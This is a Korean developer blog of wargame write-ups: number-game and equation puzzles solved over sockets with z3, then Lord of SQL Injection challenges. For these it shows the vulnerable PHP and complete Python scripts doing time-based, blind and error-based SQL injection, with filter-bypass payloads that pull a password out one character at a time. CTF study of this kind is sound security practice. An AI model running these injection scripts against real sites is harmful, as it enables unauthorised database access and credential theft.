늘모자란, 개발

늘모자란, 개발


There is no vulnerability.
Just find the rules.

nc wargame.kr 10034


배스킨 라아빈스 써리~원

배스킨 라빈스 게임은 어릴적 UN의 맴버중 하나가 나와서 필승법이 있다고 예능 인터뷰때 했다고 해서 사기게임이라고 뇌리에 깊게 박혀있다.
실제로, 1:1에서는 배스킨라빈스 게임은 실수하지 않는한 먼저 하는 사람이 무조건 이기는 방법이 있다.

1:1 베스킨 라빈스를 제시하라. 단 필승법을 아는지 대충 떠 봐야한다. (그건 알아서. 귀찮아) 
먼저 시작한다면, 처음에는 1, 2를 외쳐라. 그 다음에는 [4개-상대방이 말한 갯수]만큼씩 외쳐라.

두번째 시작한다면, 어떻게든 당신이 마지막으로 외치는것이 4의 배수보다 1개 많도록 29, 25, 21, 17, 13, 9, 5개가 남도록 한다.
즉 당신이 2, 6, 10, 14, 18, 22, 26으로 끝을 내게 외쳐야 한다.

그 다음에는 마찬가지로 [4-상대갯수]를 말하면 이긴다.
출처: http://yews.tistory.com/entry/베스킨-라빈스-31-11승리전략 [생각의 화장실]


예를 들면 이런식으로 많이 나와 있다. 이런건데, 요점은 반드시 내가 말해야 하는 수가 있다는 것이다.
이런 배경지식을 가지고 시작해보자

Welcome to STITCH's baskinrobbinsN game!
Your Purpose is to win Baskin Robbins31 game from AI. 

Rule)
As you already know, it seems like real Baskin Robbins31 game. But maximum number is not 31.

ex) N=101 , count 10
It situation, You can saying up to ten at a time of number. because count is 10.
if you speaking 101 faster than AI , you lose because N is 101

you will input smaller than count...
you will input the numbers in order.

----------------------------------
hint) 
N = 31, count = 3
input your name -> ab
Hi! ab
user first!
input your number -> 1 2 3
user say -> 1 2 3
computer say -> 4 5 6
input your number -> 7
user say -> 7
computer say -> 8 9 10
input your number -> 11 12 13
user say -> 11 12 13
computer say -> 14
input your number -> 15 16
user say -> 15 16
computer say -> 17 18
input your number -> 19 20 21
user say -> 19 20 21
computer say -> 22
input your number -> 23
user say -> 23
computer say -> 24 25 26
input your number -> 27 28
user say -> 27 28
computer say -> 29 30
AI win!
----------
------------------------

**** Timeout is 150sec... ****
**** Total 31 round... ****
Good luck~




N = 2166, count = 133

input your name -> Hi! fantazm
computer first!
computer say -> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
input your number -> 


문제가 예시와 함께 잔뜩나온다. 근데 기존에 알던 배스킨게임이 아니다. 최대 수와 부를 수 있는 수자가 랜덤으로 주어진다.
사실 이 글을 쓰기전에 살짝 해봤는데 컴퓨터를 이길 수가 없다. 생각을 다시 해보기로 했다.
읽고 나니 드는 생각이 있다.

나온 문제에서 보면, 내가 불러야될 숫자는 정해져있다. 컴퓨터 턴이 되어도 절대 끝낼 수 없는 수를 불러야한다. 그럼 컴퓨터는 2164까지밖에 부를수있고, 부르더라도 나는 2165를 말하고 승리한다.

http://lg-sl.net/product/scilab/sciencestorylist/ALMA/readSciencestoryList.mvc?sciencestoryListId=ALMA2018040003&subjectId=ALL

https://blog.naver.com/jong1003min/220348353765

https://namu.wiki/w/%EB%B0%B0%EC%8A%A4%ED%82%A8%EB%9D%BC%EB%B9%88%EC%8A%A4%2031(%EA%B2%8C%EC%9E%84)

참고한 링크들을 보자. 왜 하필이면 4일까? 4가 28을 부를 수 있는 배수의 마지노선이기 때문이다. 즉.. 워게임이지만 알고리즘에 가까운 코딩문제인것 같다.

핵심은, 나머지를 구한후 필승 수열을 구하는것이다.
r = (N - 1) % (count + 1)


그리고 목표 수치도 N이 아니라 N-1을 불러야는게 핵심이다. 때문에 내가 한개 더 많이 말해야한다. (베스킨라빈스게임에서도 3까지 부를 수 있지만 4로 맞춰 말하면 이긴다)
따라서 count + 1 을 해서, 필승 수열을 만든다

solns = []
while r < N:
    solns.append(r)
    r += (count + 1)


이제 여기에 등장하는 숫자까지 맞춰서 말하면 이긴다.
코드를 다 올리는건 좀 아닌것 같고 문제 풀면서 정말 X같았던 점들만 좀 적어본다.

1. 아무리해도 이길수가 없다. 컴퓨터가 먼저 시작을 하기 때문이다. 그리고 기가 막히게도 컴퓨터는 이 필승수열의 첫번째 수를 말한다.. 진짜 한참 삽질했는데
처음에 이름을 입력받는데... 이 입력을 짝수로 하면 내가 먼저 시작하고, 홀수로 하면 컴퓨터가 먼저 시작한다. 아........ 이건 처음 수열을 만들때 0으로 시작할 경우, 일부러 컴퓨터에게 턴을 주는식으로 구현하면 된다.
2. 소켓이 짤려서 온다. 숫자가 길어지고, 정확히 1460 자 이상이 되면 개행한다. computer say -> 로 파싱하고 있다가 의문의 payload wrong을 만날 수 있는데, 게임이 시작되었고, 개행이 된채 숫자만 던졌다면 해당 숫자를 마지막으로 다시 계산해야한다

요컨데 이런식으로 온다.

computer say -> 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 (개행)
(탭) 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652

별도의 처리가 없으면 이때 1632를 마지막 숫자로 읽어서 시간낭비를 하게 된다.
다음과 같이 정규식으로 처리해주면 된다.

 ext = re.findall(r"^\s+((?:\d+ )*\d+)$", line)
 if len(ext):
    response = re.findall(r"^\s+((?:\d+ )*\d+)$", line)[0].split(" ")
 


socket.recv 같이 너무 작으면 개행을 막 두번씩 하기도 하니, 애초에 넉넉하게 잡고 수신해주면 좋을 것 같다.
2018/11/07 09:09 2018/11/07 09:09
wargame.kr이 새단장을 해서 보니 문제가 꽤 추가 되어 있었다.
custom OS 빼곤 다 풀었었던거 같은데... 저 문제는 아직도 잘 모르겠고, 짬을 내서 풀어보기로 한다.

먼저 시도할 문제는 plz variable 이라는 문제.

Can you find the solution quickly in polynomials? 
nc wargame.kr 10004


nc는 netcat 의 줄임말로, 간단히 데이터를 읽고 쓰는 프로그램이라고 한다.
여러 문제를 눌러보니 이제 문제를 웹에서 푸는게 아니라 저 프로그램을 이용해야 되는거 같다.
그냥 telnet을 이용해도 되는거 같은데 일단 시킨대로 nc로 연결해보았다.
그러자 문제가 나왔다.

Please match the correct answer 30 times.

Submit format -> a,b,c,d,,,(Ascending order)
Timeout = 60sec
a,b,c,d,,, is natural number
a,b,c,d,,, is 100 <= <= 1000

1th...
b * a + f + e * d - c = 491787
a * b * c - d * e + f = 359074294
e - b + a * c - d - f = 677922
d + c + e + f + a + b = 3215
a * f - c + e + b + d = 162962
a * b + c + f - e - d = 368086
Answer -> 



예 잘봤습니다. 제 점수는요.
여러번 연결해보니 나오는 변수 만큼 문제가 출력되는거 같다. polynomials. 다항식, 연립방정식이다.
그전에 내가 알파고가 아니니까 60초만에 저 문제들을 풀어낼순 없다. 코드로 문제를 받는거부터 시작이다.
딴건 없고, 그냥 소켓 연결을 생각하고 코딩을 하면 되었다.

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('wargame.kr',10004)
sock.connect(server_address)

data = sock.recv(1024)
print data

sock.close()


데이터 전송은 sock.send로 하면 되는거 같다. 어쨌든 잘 연결이 되었다.
이제 문제를 풀어야하는데.. python 연립방정식 따위의 키워드로 검색을 하니 몇개 나왔다. sympy 나 numpy scipy 등을 이용하면 된다고 한다.
그중에 sympy 의 solve를 많이 쓰는거같은데, 이 문제에서는 답까지 주니까 nsolve를 사용하면 될것 같았다.

우선 nsolve 를 사용하기 위해서는 어떤 알파벳이 변수로 사용되고 있는지 Symbol을 선언해주어야 했다.
그리고 이건 식입니다. 하고 명세하기 위한 Eq도 필요했다.
우리는 그리고 nsolve를 사용하기로 ...

from sympy import Symbol, Eq, nsolve


그리고 식은 정직하게 주지만 다음 문제를 보지 못했기 때문에, 수학식임을 판단하기 위해서 다음과 같이 검사했다.
각 라인이 개행되있기때문에 라인별로 정규식으로 검사했다. 좀 과한거 같긴한데 아래같이 할 필욘없다.. 여튼 이렇게 식과 답을 분리해서 넣었다.

for line in data.split('\n'):
 if "Answer" not in line and "Submit format" not in line and re.match(r"[a-zA-Z]",line) != None and re.match(r"^(-?\d+)$",line) == None and re.search(r"[()\\*+-]", line) != None:
 eq.append(re.findall(r"(.+?) \=",line)[0].replace("\t"," "))
 answ.append(int(re.findall(r"\=\s(.+)",line)[0]))


사용되는 변수들은 중복을 제거해 Symbol 로 선언해주기 위해 다음과 같이 했다.

list(set(re.findall(r"[a-z]","".join(eq))))


이제 list 세개를 모두 확보했기때문에 nsovle에 넣고 돌림 되겠지 하고 돌렸는데 에러가 났다-_-
Eq로 list를 하나하나 해줘도 Symbol 이 변수명으로 선언되지 않으면 돌아가질 않았다. 즉 요렇게

a = Symbol('a')


허미.. 이게 몇개나 나올줄 알고 심볼을 선언해주나. exec를 쓰면 된다.

exec("{0} = Symbol('{1}')".format(name, str(name)))


이런 느낌으로 돌려주면 선언된다. Eq도 똑같이 해줬는데 그래도 안된다.
그래서 찾아보니, (e1,e2,e3,e4) / (x,y,z) 이런식으로 기재는 하는데 내가 만든 리스트는 ('e1','e2','e3') ('x','y','z') 처럼 문자열같이 되있었다.
하아.. eval 도 해주기로 했다.

for i,j,k in zip(exps, symbols,answ):
 epack = "{},{}".format(epack,i)
 spack = "{},{}".format(spack,j)
 apack = "{},{}".format(apack,k)

epack = "("+epack[1:]+")"
spack = "("+spack[1:]+")"
apack = "("+apack[1:]+")"


이후 nsolve에 eval(epack) 이런식으로 실행했다. 안된다.
코드상 문제는 없는거 같은데 단순히 값을 꾸겨넣는정도로는 안되나보다. matrix 가 0이니, divisionZero 에러니 뭐 별에 별 에러가 나와서 그냥 때려쳤다. solve도 써보고 뭐 다른 방법도 여러개 해봤는데 안됨.
그러다가 내가 못찾은 다른 solver가 있는건 아닐까 싶어 찾아보다가 z3라는 solver를 찾게 되었다.

z3는 리버싱때 많이 쓴다고 한다. 주소 계산같은데 활용되는거 같다. 어쨌든 z3라는 무기를 다시 확보했으니, 풀어보자.

먼저 Solver 라고 문제 풀이 머신을 하나 추가해줘야한다.

import z3 as z
s = z.Solver()


이런느낌이다. 그리고 조건들을 추가해줘야하는데, 수식에서 = 를 ==로 변환해서 넣어주어야 한다.
그리고 100보다 크고, 1000보다 작은 수이기때문에 조건을 입력해주어야한다. 아니면 시간이 너무 오래걸리거나 중간에 퍼지는 경우가 생긴다.
또한, 위에서 Symbol 을 선언해주었던것 처럼 eval 로 Int 임도 먼저 선언해주어야 한다. 그러면..

for i in variables:
 exec("{} = z.Int('{}')".format(i,i))
 s.add(eval("{} >= 100".format(eval(i))))
 s.add(eval("{} <= 1000".format(eval(i))))

이런 느낌이 된다. 그리고 수식을 = 를 변환해주어서 추가해준다.

for i in exps:
 s.add(eval(i.replace("=","==")))


이러고 문제 해결을 위해 다음과 같이 해준다.

s.check()
result = s.model()



여기서 내가 헷갈렸던건,
Submit format -> a,b,c,d,,,(Ascending order)
이부분인데, 아.. 나는 값을 정렬하라는줄 알았는데 그게 아니라 key 이름대로 정렬해서 출력하는것이다. 진짜 풀이에 문제가 있는줄 알고 한참헤맸다..
새로운 라이브러리를 알게 되니 뭔가 강력한 무기를 갖춘 느낌이다. 플래그를 보니 정답이었던것 같다.

2018/10/31 15:41 2018/10/31 15:41
즐거운 산수시간
2017/09/28 11:24 2017/09/28 11:24
유저이름, 유저 비밀번호는 아무 쓸모 없음. 시간에 집중
2017/09/27 10:11 2017/09/27 10:11
풀이법을 쓰면 안된다니까 그냥 힌트만 적기로 해본다

100점짜리 문제고, 별다른 필터링이 없는 것 같아보인다. PHP를 돌릴 환경하나 쯤 구축해두면 좋을 것 같고, 쿠키를 잘 봅시다
2017/09/26 15:52 2017/09/26 15:52
이번에 해볼 사이트는 noe.systems 라는 특이한 도메인을 가진 워게임이고, wechall 에서 발견해서 해보게되었다.
근데 풀이법을 올리면 안된대서 그냥 비공개 write-up 이라도 써볼까 한다. 근데 웹이 주력이 아니라서 몇개나 올릴지는 잘 모르겠고..
문제 견적 봐가며 한번 풀어봅시다..
2017/09/25 12:42 2017/09/25 12:42

<?php
  include "./config.php";
  login_chk();
  dbconnect();

  function reset_flag(){
    $new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);
    $chk = @mysql_fetch_array(mysql_query("select id from prob_umaru where id='{$_SESSION[los_id]}'"));
    if(!$chk[id]) mysql_query("insert into prob_umaru values('{$_SESSION[los_id]}','{$new_flag}')");
    else mysql_query("update prob_umaru set flag='{$new_flag}' where id='{$_SESSION[los_id]}'");
    echo "reset ok";
    highlight_file(__FILE__);
    exit();
  }

  if(!$_GET[flag]){ highlight_file(__FILE__); exit; }

  if(preg_match('/prob|_|\./i', $_GET[flag])) exit("No Hack ~_~");
  if(preg_match('/id|where|order|limit|,/i', $_GET[flag])) exit("HeHe");
  if(strlen($_GET[flag])>100) exit("HeHe");

  $realflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru where id='{$_SESSION[los_id]}'"));

  @mysql_query("create temporary table prob_umaru_temp as select * from prob_umaru where id='{$_SESSION[los_id]}'");
  @mysql_query("update prob_umaru_temp set flag={$_GET[flag]}");

  $tempflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru_temp"));
  if((!$realflag[flag]) || ($realflag[flag] != $tempflag[flag])) reset_flag();

  if($realflag[flag] === $_GET[flag]) solve("umaru");
?>


id where order limit, 뭐 쓸수있는게 없고 100자 넘어도 안된다
살살하다가 갑자기 살벌하게 튀어 나온 느낌이라 문제보고 좀 벙쪘는데 힘내서...

보면 reset_flag 가 실행되면 무조건 플래그가 리셋되는데 이걸 막아야된다.

reset_flag가 실행되는 시점은 단 한군데 뿐인데, 이 친구를 저지할 수 있는 시점이라고 하면 update prob_umaru... 밖에 없다. 여기서 고의로 에러를 발생시켜줘야한다. (소스상 처리가 되지 않은 PHP는 에러가 나면 반드시 죽기 때문이다)

그래서 flag에 처음엔 빈값을 넣음과 동시에 @t:=flag를 이용해 강제로 업데이트치고 패스해볼까 했는데 , 가 필터링되고 있었다. 하..
에러도 내면서 참일땐 비교도 해야 된다니  어려운일이 아닐 수가 없다. 일단 select 가 아닌 update에서의 sqli 이기 때문에 sleep 을 사용해야 되는건 맞는것 같고, 어떻게 if를 bypass할지 검색해보다가 그냥 실행만 되면 된다는거 같다. 그래서 사용을 xor 연산을 의미하는 ^ 를 사용하는데, 사실 다른 연산자는 안찾아봤지만 아마 시프트 연산도 가능할 것 같단 생각이다 "<<" 라던지.. 

우선 페이로드를 다 작성했는데 정말 16자리에서 끊어지는지 아닌지 확인하기 위해 다음과 같이 쿼리를 짰다

for j in range(1,200):
    start_time = time.time()
    data = "(select sleep(case when length(flag) like {} then '20' else '0' END)^(select '1' union select '2'))".format(j)
    data = requests.utils.quote(data)
    #print data

    r = requests.get(url+'?flag='+data,headers=headers)

    times = time.time() - start_time
    print j, times
    if times > 20:
        loop = j
        break

print loop


16에서 정확히 멈춘다. (네트워크가 불안해서 자꾸 이상한 값이 나와서 아예 큰 값을 줘버렸는데 적당히 판단들 하시길..)
이 코드를 조금만 수정해서 이제 페이로드를 따는데 진짜 골때리는 일이 벌어졌다

9자리쯤 캐치를 했는데 글쎄 100자리 제한에 걸리는것이다. 즉, like 로 비교를 걸었더니 플래그에 들어갈 string도 length 체크 대상에 들어가는것이다. 다시 말하면, payload를 16자를 뺀 83~4자안에서 끝내야 된다는것이다.... 아뿔싸가 아닐 수 없다. 어느 부분을 줄여야 하나... 8자 정도만 더 줄이면 되는데! 라고 적어놓고 보니 일일히 ' 를 해놨길래 다 뺐다. 아마 거의 자리수를 끝까지 이용하는 payload가 아닐까 싶다..

#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import requests, time
  
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/umaru_.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"

loop = 0
pw = ''


for j in range(1,200):
    start_time = time.time()
    data = "(select sleep(case when length(flag) like {} then '20' else '0' END)^(select '1' union select '2'))".format(j)
    data = requests.utils.quote(data)
    #print data

    r = requests.get(url+'?flag='+data,headers=headers)

    times = time.time() - start_time
    print j, times
    if times > 20:
        loop = j
        break

print loop

for i in range(1,loop+1):
    for j in string:
        start_time = time.time()
        data = "(select sleep(case when flag like '{}{}%' then 2 else 0 END)^(select 1 union select 2))".format(pw,j)
        data = requests.utils.quote(data)
        #print data

        r = requests.get(url+'?flag='+data,headers=headers)

        times = time.time() - start_time
        print j, times
        if times > 2:
            pw = pw + str(j)
            print "[!] found",pw
            break
   
print pw



2017/06/28 15:39 2017/06/28 15:39
<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  echo "<h1>Sorry, this challenge is broken! (Thanks to <i>@dohyeokkim</i>)</h1>";
  solve("hell_fire");
  highlight_file(__FILE__);
?>


<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/_|\.|\(\)/i', $_GET[limit])) exit("No Hack ~_~");
  echo "<h1>Sorry, this challenge is broken! (Thanks to <i>@dohyeokkim</i>)</h1>";
  solve("evil_wizard");
  highlight_file(__FILE__);
?>


헤헷... 뭐지....
도대체 뭔가 싶어서 찾아보니 이런 문제였다고 한다. DB버전을 올릴 수 없어서... 라는데 조금 아쉽긴하다.

2017/06/28 15:11 2017/06/28 15:11
<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>


썸네일이 무서운 고양이..
이번에는 if를 사용할 수 없다. 삼항연산자 (Conditinal operator)를 사용해보려고 짱구를 굴렸으나 case가 막혀있어서 안된다
아까 문제는 에러를 출력해준 반면 이 문제는 그냥 exit한다. 뭐.. 별 다를바가 없다. 이 문제에서는 에러를 어떻게 일으키는지가 초점이고, 화면이 표시 안되는건 그냥 반환 값이 0이냐 아니냐로 확인하면된다.

#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import requests
  
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/dark_eyes_.php"
string = "0123456789ABCDEF"

loop = 0
pw = ''


for j in range(1,100):
    data = "' || ( id='admin' && (select length(hex(pw))={} union select 1 )) ;".format(j)
    data = requests.utils.quote(data)
    r = requests.get(url+'?pw='+data+"%00",headers=headers)
    print r.text
    
    if len(r.text) > 0:
        loop = j
        break

print loop


for i in range(1,loop+1):
    for j in string:
        data = "' || ( id='admin' && (select right(left(hex(pw),{}),1) = 0x{} union select 1 )) ;".format(i,str(j).encode('hex'))
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data+"%00",headers=headers)

        if len(r.text) > 0:
            pw = pw + str(j)
            print "[!] found",pw
            break
   
print pw
2017/06/28 15:09 2017/06/28 15:09
<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit(mysql_error());
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>


sleep과 benchmark가 보이는거 보니 이건 time based 인젝션인거같다. 라고 생각했지만 error based injection이다.
그냥 time based로 풀지 말라고 한거같다. 역시 해보고 써야지 안해보고 글을 쓰면 괜히 다 지우는 사태가 발생한다 ㅠㅠ

오류를 일부러 내면 exit(mysql_error())에서 에러를 출력해준다.

에러는 다양하게 내는 방법이 있지만 subquery로 하기로 했다. xavis에서 사용했던 hex 놀음을 다시 할 시간.

#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import requests
  
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/iron_golem_.php"
string = "0123456789ABCDEF"

loop = 0
pw = ''


for j in range(1,100):
    data = "' || ( id='admin' && if(length(hex(pw))={},true,(select 1 union select 2))) ;".format(j)
    data = requests.utils.quote(data)
    r = requests.get(url+'?pw='+data+"%00",headers=headers)
    print r.text
    
    if r.text.find('Subquery returns more than 1 row') == -1 :
        loop = j
        break

print loop

for i in range(1,loop+1):
    for j in string:
        data = "1' || ( id='admin' && if(right(left(hex(pw),{}),1) = 0x{},true,(select 1 union select 2))) ;".format(i,str(j).encode('hex'))
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data+"%00",headers=headers)

        if r.text.find('Subquery returns more than 1 row') == -1 :
            pw = pw + str(j)
            print "[!] found",pw
            break
   
print pw


요점은 true면 내용 표시하고 아니면 에러가 나니까 죽어라고 말하는것이다. 얻은 hex값의 변환은 여기서 하면 된다
답이 다소 허무할 수 있다..
2017/06/28 14:50 2017/06/28 14:50

1 2 3 4 5 ... 14